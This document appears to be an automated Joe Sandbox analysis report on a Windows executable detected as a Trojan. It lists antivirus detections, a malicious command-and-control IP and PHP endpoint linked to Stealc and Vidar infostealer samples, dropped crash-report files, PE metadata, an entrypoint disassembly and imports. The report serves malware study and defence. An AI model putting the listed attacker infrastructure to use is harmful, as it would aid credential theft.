Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	143 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
uxnkmJzTjK.exe	55%	ReversingLabs	Win32.Trojan.CrypterX
uxnkmJzTjK.exe	100%	Avira	HEUR/AGEN.1306956
uxnkmJzTjK.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
15.164.165.52.in-addr.arpa	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://194.15.46.65/7e57db3b864b30f1.php	true		unknown
http://194.15.46.65/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://194.15.46.65	uxnkmJzTjK.exe, 00000007.00000002.1570628123.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://upx.sf.net	Amcache.hve.13.dr	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	uxnkmJzTjK.exe, uxnkmJzTjK.exe, 00000007.00000003.1281665121.0000000002570000.00000004.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, uxnkmJzTjK.exe, 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.15.46.65	unknown	unknown		20952	VENUS-INTERNET-ASGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543996
Start date and time:	2024-10-28 17:36:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	uxnkmJzTjK.exe renamed because original name is a hash value
Original Sample Name:	ac6cfd8f94d80a7655d146d3f4bf8f26.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@2/5@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 37 Number of non-executed functions: 198
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, Sgrmuserer.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173, 52.168.117.172
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, onedsblobprdeus07.eastus.cloudapp.azure.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: uxnkmJzTjK.exe

Simulations

Behavior and APIs

Time	Type	Description
12:37:30	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
194.15.46.65	jXMyT7jrfR.exe	Get hash	malicious	Stealc	Browse	194.15.46.65/7e57db3b864b30f1.php
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	194.15.46.65/7e57db3b864b30f1.php
	nGmqbXROga.exe	Get hash	malicious	Stealc	Browse	194.15.46.65/7f031eb0d257b290.php
	t4GNf3V8mp.exe	Get hash	malicious	Stealc, Vidar	Browse	194.15.46.65/7f031eb0d257b290.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
VENUS-INTERNET-ASGB	jXMyT7jrfR.exe	Get hash	malicious	Stealc	Browse	194.15.46.65
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	194.15.46.65
	nGmqbXROga.exe	Get hash	malicious	Stealc	Browse	194.15.46.65
	t4GNf3V8mp.exe	Get hash	malicious	Stealc, Vidar	Browse	194.15.46.65
	357oRnNepg.elf	Get hash	malicious	Unknown	Browse	217.138.142.250
	2jtSIERpll.elf	Get hash	malicious	Mirai	Browse	217.138.190.197
	luO0gwRNZ1.elf	Get hash	malicious	Mirai	Browse	217.138.190.173
	bPFO1DcK1x.elf	Get hash	malicious	Unknown	Browse	217.138.169.91
	KWnm2cUchM.elf	Get hash	malicious	Mirai	Browse	217.138.190.184
	KW2hzjzL6R.elf	Get hash	malicious	Mirai	Browse	217.138.170.96

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_uxnkmJzTjK.exe_2758b5a6727ed414df83f22680b3fca6bee45aca_7d3e508a_21fb4e6d-b425-4a5d-96c5-dcfe67d27b2c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9640081924063675
Encrypted:	false
SSDEEP:	192:+5DGe6ZL0jFaIjJeZroZlzuiF0+Z24IO8+:kSecYjFaIjzrzuiFrY4IO8+
MD5:	D7A9B0177D73EA04C4A3E02DCB573869
SHA1:	C5D6CE8B18AEC779D9CB3D766049798DB7665488
SHA-256:	83CC42D336FCE27BDF07E7C7066FE3710B017C9BB176F53403D907BAC9C2419D
SHA-512:	902CD5339D7034F9B8073D9BCBF989BE246143284B8E7568666A4CB475EAE40A177A8908F22143CB6E2D2AEFB1DF3908CDB1AA743830FD8DA176FCF599FFC49F
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.6.0.7.0.4.5.6.0.6.7.7.7.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.6.0.7.0.4.6.1.5.3.6.6.3.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.1.f.b.4.e.6.d.-.b.4.2.5.-.4.a.5.d.-.9.6.c.5.-.d.c.f.e.6.7.d.2.7.b.2.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.b.8.f.2.f.e.e.-.d.f.3.7.-.4.0.8.d.-.a.0.b.7.-.5.f.8.2.3.8.2.4.5.6.d.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.u.x.n.k.m.J.z.T.j.K...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.2.c.-.0.0.0.1.-.0.0.1.3.-.8.a.7.d.-.3.c.9.d.5.7.2.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.6.3.8.6.1.c.6.6.0.c.a.9.7.4.9.d.8.9.d.4.f.5.b.e.3.f.8.b.d.3.b.0.0.0.0.f.f.f.f.!.0.0.0.0.d.c.5.0.4.f.b.4.3.8.8.7.4.8.0.8.a.1.c.3.1.b.3.d.f.3.2.8.d.2.c.4.3.0.e.7.d.0.5.1.!.u.x.n.k.m.J.z.T.j.K...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD2A4.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 28 16:37:25 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	116296
Entropy (8bit):	1.7340699268597577
Encrypted:	false
SSDEEP:	384:WlTajVHJPRRH2ocCXSjzRvD3VbPPAXJ384DhnyCkQ3sf:WlQVZRRH2PCXSjzRvD3VbeL9vkf
MD5:	5BA722B465216C6837736846026D2BA6
SHA1:	99B81170E2252362273FB3C785B4495C247F03B8
SHA-256:	88FBEACCC407CD67EDB6969C75175273C63A1746D590E58536DB36C926D3CCD5
SHA-512:	1AAD2196AE6507DCD352C52D84EFE2C66A20D73AC6193AADF079C443C9EDD6AD7E2941B7C5E1F62FEFA2875EE221FAABC34A1F4ED98314A680140D51645B0163
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........g....................................$....E..........T.......8...........T...........(3.. ...........t...........` ..............................................................................eJ....... ......GenuineIntel............T.......,......g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD3CE.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8350
Entropy (8bit):	3.7024757165830193
Encrypted:	false
SSDEEP:	192:R6l7wVeJbX6dc6YWISUM1qGgmfZgpDM89bZcsfObzm:R6lXJ76W6YpSUM5gmfZUZvfOe
MD5:	ABC9ACC41B02819F8F7430F98272E171
SHA1:	6D66A54A04004B4956728F4AB52BB3BBAE4547F8
SHA-256:	56E054C17E2FDCC0F8C77FFBF7784D74C2B065B304D80BB934517D9E7E12CDB6
SHA-512:	4FE642F9636F741934BAA20931B946C800DE85913D462C304C2C82A2030DBBBE934D368BB79DA74B2758B2721646F713DDA29428FEECF8EE4E6F0E394D0F7647
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.4.4.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD3FE.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4583
Entropy (8bit):	4.473616758643659
Encrypted:	false
SSDEEP:	48:cvIwWl8zsVJg77aI9yZrWpW8VYgYm8M4JfSeFTRFm+q8Gvm1aHrw5wd:uIjfvI7MZa7VgJfhFm7ewHrw5wd
MD5:	954CBC01D5CEA51A2F58BC416856D58E
SHA1:	B2CBF5065EC952980818175C91B74D40F72CC262
SHA-256:	B540EB47FE9A5F8972F73FF3B6C04E4E2B8169E5BE781EC305A6864E22583E39
SHA-512:	6EF6A186A94F84590B9D4F0BDD4D3990BC0D10438DEE142A0E0D73E0F5F8E1F64F7B3A98506A607D7E66931F89FBA4B3421F5A56DA4CCEC3F39A720A41320EE6
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="563500" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.296003176953034
Encrypted:	false
SSDEEP:	6144:I41fWRYkg7Di2vXoy00lWZgiWaaKxC44Q0NbuDs+lamBMZJh1Vjo:l1/YCW2AoQ0NivawMHrVs
MD5:	29D1D59679BFEE76A0BF61A2375CA324
SHA1:	83CD4AE9CE162EDF613FA86A8BAA17EE62502AF2
SHA-256:	517F424C0A5C6365DFC7D5A9EFF6A3E1D42431AB61BAE7F68CFD8072A7119AD9
SHA-512:	2BD956E358EF055ED48FF7725365F72AFEFA5D68E73613C5EF4579FB785AA8A5DF7019CDAB1F9D80D62221C787E3C8E12199CBE9E36800325F8110F3FC554CD9
Malicious:	false
Reputation:	low
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.R..W)...............................................................................................................................................................................................................................................................................................................................................q..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.271417145997924
TrID:	Win32 Executable (generic) a (10002005/4) 99.55% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	uxnkmJzTjK.exe
File size:	717'824 bytes
MD5:	ac6cfd8f94d80a7655d146d3f4bf8f26
SHA1:	dc504fb438874808a1c31b3df328d2c430e7d051
SHA256:	9c3e8022d4d7d382394e1e62fac2d0df1bf545797397288ebe6655c62df78844
SHA512:	fb5235185dda52f849f3a95183bfe8dd6ac73a3eb2f4cb8efec0a24f607e03b07a039af5c074dbc7a5020df5bbef29c35af87e19f218dfd18ab921f5e037ddfe
SSDEEP:	12288:xy7txobaJtCURbqxDFp+CLdPYu8oAwTrg1X7ihYmoJErKeWyDaVY8hQa9EvF1E:xkt2bu0ObqdFp+CLdPY2HEWY+lWyOVY2
TLSH:	08E41211F592D4B1CA93453C087AC6FC253ABCA2C626699733683F9F3C70BD3A666315
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b+..&Jj.&Jj.&Jj.8...:Jj.8...8Jj.8...QJj...../Jj.&Jk..Jj.8...'Jj.8...'Jj.8...'Jj.Rich&Jj.........................PE..L...D.De...

File Icon


Icon Hash:	63796dc971636e0f

Static PE Info

General

Entrypoint:	0x40614a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6544AD44 [Fri Nov 3 08:20:20 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	6151e5d379296541f85c9ec931b45e6d

Entrypoint Preview

Instruction
call 00007FBDB14F4B2Eh
jmp 00007FBDB14F00FEh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
call 00007FBDB14F02BCh
xchg cl, ch
jmp 00007FBDB14F02A4h
call 00007FBDB14F02B3h
fxch st(0), st(1)
jmp 00007FBDB14F029Bh
fabs
fld1
mov ch, cl
xor cl, cl
jmp 00007FBDB14F0291h
mov byte ptr [ebp-00000090h], FFFFFFFEh
fabs
fxch st(0), st(1)
fabs
fxch st(0), st(1)
fpatan
or cl, cl
je 00007FBDB14F0286h
fldpi
fsubrp st(1), st(0)
or ch, ch
je 00007FBDB14F0284h
fchs
ret
fabs
fld st(0), st(0)
fld st(0), st(0)
fld1
fsubrp st(1), st(0)
fxch st(0), st(1)
fld1
faddp st(1), st(0)
fmulp st(1), st(0)
ftst
wait
fstsw word ptr [ebp-000000A0h]
wait
test byte ptr [ebp-0000009Fh], 00000001h
jne 00007FBDB14F0287h
xor ch, ch
fsqrt
ret
pop eax
jmp 00007FBDB14F08BFh
fstp st(0)
fld tbyte ptr [0049508Ah]
ret
fstp st(0)
or cl, cl
je 00007FBDB14F028Dh
fstp st(0)
fldpi
or ch, ch
je 00007FBDB14F0284h
fchs
ret
fstp st(0)
fldz
or ch, ch
je 00007FBDB14F0279h
fchs
ret
fstp st(0)
jmp 00007FBDB14F0895h
fstp st(0)
mov cl, ch
jmp 00007FBDB14F0282h
call 00007FBDB14F024Eh
jmp 00007FBDB14F08A0h
int3
int3
int3
int3
int3
int3
int3
int3
push ebp

Rich Headers

Programming Language:

[C++] VS2008 build 21022
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x93e1c	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa7000	0x13a98	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2eb000	0xb24	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4928	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1b4	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9381a	0x93a00	c4c66e39d50648b07a9ef9cbcc68b323	False	0.8646968935224386	data	7.614482012952397	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x95000	0x11884	0x6000	8a8ae95e615b9006d50b80b647950682	False	0.07816569010416667	dBase III DBT, next free block index 7565155	0.9099523894840397	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xa7000	0x243a98	0x13c00	691b43c4db6de6c08583a099fa2060f2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2eb000	0x180e	0x1a00	b91bca4a31432d02b40dcc57ea1224bd	False	0.37289663461538464	data	3.711466150522236	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
BARUY	0xb1160	0x136f	ASCII text, with very long lines (4975), with no line terminators	Tamil	India	0.5951758793969849
BARUY	0xb1160	0x136f	ASCII text, with very long lines (4975), with no line terminators	Tamil	Sri Lanka	0.5951758793969849
BIFETUGIDOSUCIVIK	0xb24d0	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	India	0.5883037909173243
BIFETUGIDOSUCIVIK	0xb24d0	0x1e31	ASCII text, with very long lines (7729), with no line terminators	Tamil	Sri Lanka	0.5883037909173243
RT_CURSOR	0xb4360	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.2953091684434968
RT_CURSOR	0xb5208	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.46705776173285196
RT_CURSOR	0xb5ab0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5361271676300579
RT_CURSOR	0xb6048	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0xb6178	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0xb6250	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0xb70f8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0xb79a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0xb7f38	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0xb8de0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0xb9688	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0xa7820	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.5288018433179723
RT_ICON	0xa7820	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.5288018433179723
RT_ICON	0xa7ee8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.4109958506224066
RT_ICON	0xa7ee8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.4109958506224066
RT_ICON	0xaa490	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	India	0.44592198581560283
RT_ICON	0xaa490	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Tamil	Sri Lanka	0.44592198581560283
RT_ICON	0xaa928	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	India	0.3699360341151386
RT_ICON	0xaa928	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Tamil	Sri Lanka	0.3699360341151386
RT_ICON	0xab7d0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	India	0.5036101083032491
RT_ICON	0xab7d0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Tamil	Sri Lanka	0.5036101083032491
RT_ICON	0xac078	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	India	0.5771889400921659
RT_ICON	0xac078	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Tamil	Sri Lanka	0.5771889400921659
RT_ICON	0xac740	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	India	0.6466763005780347
RT_ICON	0xac740	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Tamil	Sri Lanka	0.6466763005780347
RT_ICON	0xacca8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	India	0.4537344398340249
RT_ICON	0xacca8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Tamil	Sri Lanka	0.4537344398340249
RT_ICON	0xaf250	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	India	0.4643527204502814
RT_ICON	0xaf250	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Tamil	Sri Lanka	0.4643527204502814
RT_ICON	0xb02f8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	India	0.4516393442622951
RT_ICON	0xb02f8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Tamil	Sri Lanka	0.4516393442622951
RT_ICON	0xb0c80	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	India	0.500886524822695
RT_ICON	0xb0c80	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Tamil	Sri Lanka	0.500886524822695
RT_DIALOG	0xb9e78	0x58	data			0.8977272727272727
RT_STRING	0xb9ed0	0x36e	data	Tamil	India	0.4612756264236902
RT_STRING	0xb9ed0	0x36e	data	Tamil	Sri Lanka	0.4612756264236902
RT_STRING	0xba240	0x28c	data	Tamil	India	0.48619631901840493
RT_STRING	0xba240	0x28c	data	Tamil	Sri Lanka	0.48619631901840493
RT_STRING	0xba4d0	0x3bc	data	Tamil	India	0.4686192468619247
RT_STRING	0xba4d0	0x3bc	data	Tamil	Sri Lanka	0.4686192468619247
RT_STRING	0xba890	0x208	data	Tamil	India	0.5192307692307693
RT_STRING	0xba890	0x208	data	Tamil	Sri Lanka	0.5192307692307693
RT_ACCELERATOR	0xb4308	0x58	data	Tamil	India	0.7954545454545454
RT_ACCELERATOR	0xb4308	0x58	data	Tamil	Sri Lanka	0.7954545454545454
RT_GROUP_CURSOR	0xb6018	0x30	data			0.9375
RT_GROUP_CURSOR	0xb6228	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0xb7f08	0x30	data			0.9375
RT_GROUP_CURSOR	0xb9bf0	0x30	data			0.9375
RT_GROUP_ICON	0xaa8f8	0x30	data	Tamil	India	0.9375
RT_GROUP_ICON	0xaa8f8	0x30	data	Tamil	Sri Lanka	0.9375
RT_GROUP_ICON	0xb10e8	0x76	data	Tamil	India	0.6694915254237288
RT_GROUP_ICON	0xb10e8	0x76	data	Tamil	Sri Lanka	0.6694915254237288
RT_VERSION	0xb9c20	0x258	data			0.5366666666666666

Imports

DLL	Import
KERNEL32.dll	GlobalMemoryStatus, TlsGetValue, GlobalCompact, CreateProcessW, InterlockedIncrement, InterlockedDecrement, GetCurrentProcess, GetLogicalDriveStringsW, CreateJobObjectW, SetComputerNameW, GetComputerNameW, FreeEnvironmentStringsA, GetTickCount, GetCommConfig, CreateNamedPipeW, GetNumberFormatA, ClearCommBreak, GetConsoleAliasExesW, EnumTimeFormatsW, SetFileShortNameW, LoadLibraryW, ReadConsoleInputA, EnumResourceNamesW, SetVolumeMountPointA, GetVersionExW, GetFileAttributesA, GetTimeFormatW, GetModuleFileNameW, LCMapStringA, InterlockedExchange, GetLastError, SetLastError, GetProcAddress, VirtualAlloc, DefineDosDeviceW, SetFileAttributesA, GetDiskFreeSpaceW, LoadLibraryA, OpenJobObjectW, SetEnvironmentVariableA, GetModuleFileNameA, GetCurrentDirectoryA, OpenEventW, GetShortPathNameW, IsBadCodePtr, GetTempFileNameW, CreateFileA, CloseHandle, HeapAlloc, UnhandledExceptionFilter, SetUnhandledExceptionFilter, HeapReAlloc, GetStartupInfoW, RaiseException, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, HeapFree, VirtualFree, HeapCreate, GetModuleHandleW, Sleep, ExitProcess, WriteFile, GetStdHandle, SetHandleCount, GetFileType, GetStartupInfoA, TerminateProcess, IsDebuggerPresent, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, QueryPerformanceCounter, GetCurrentProcessId, 